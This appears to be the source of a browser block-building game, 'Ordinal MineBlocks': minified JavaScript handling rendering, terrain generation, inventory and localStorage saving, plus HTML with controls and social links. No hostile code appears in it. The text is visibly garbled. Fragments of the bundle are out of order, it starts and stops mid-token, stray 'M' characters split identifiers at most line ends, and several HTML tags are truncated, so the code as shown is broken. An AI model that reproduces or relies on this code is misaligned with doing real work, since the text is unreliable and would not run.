ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
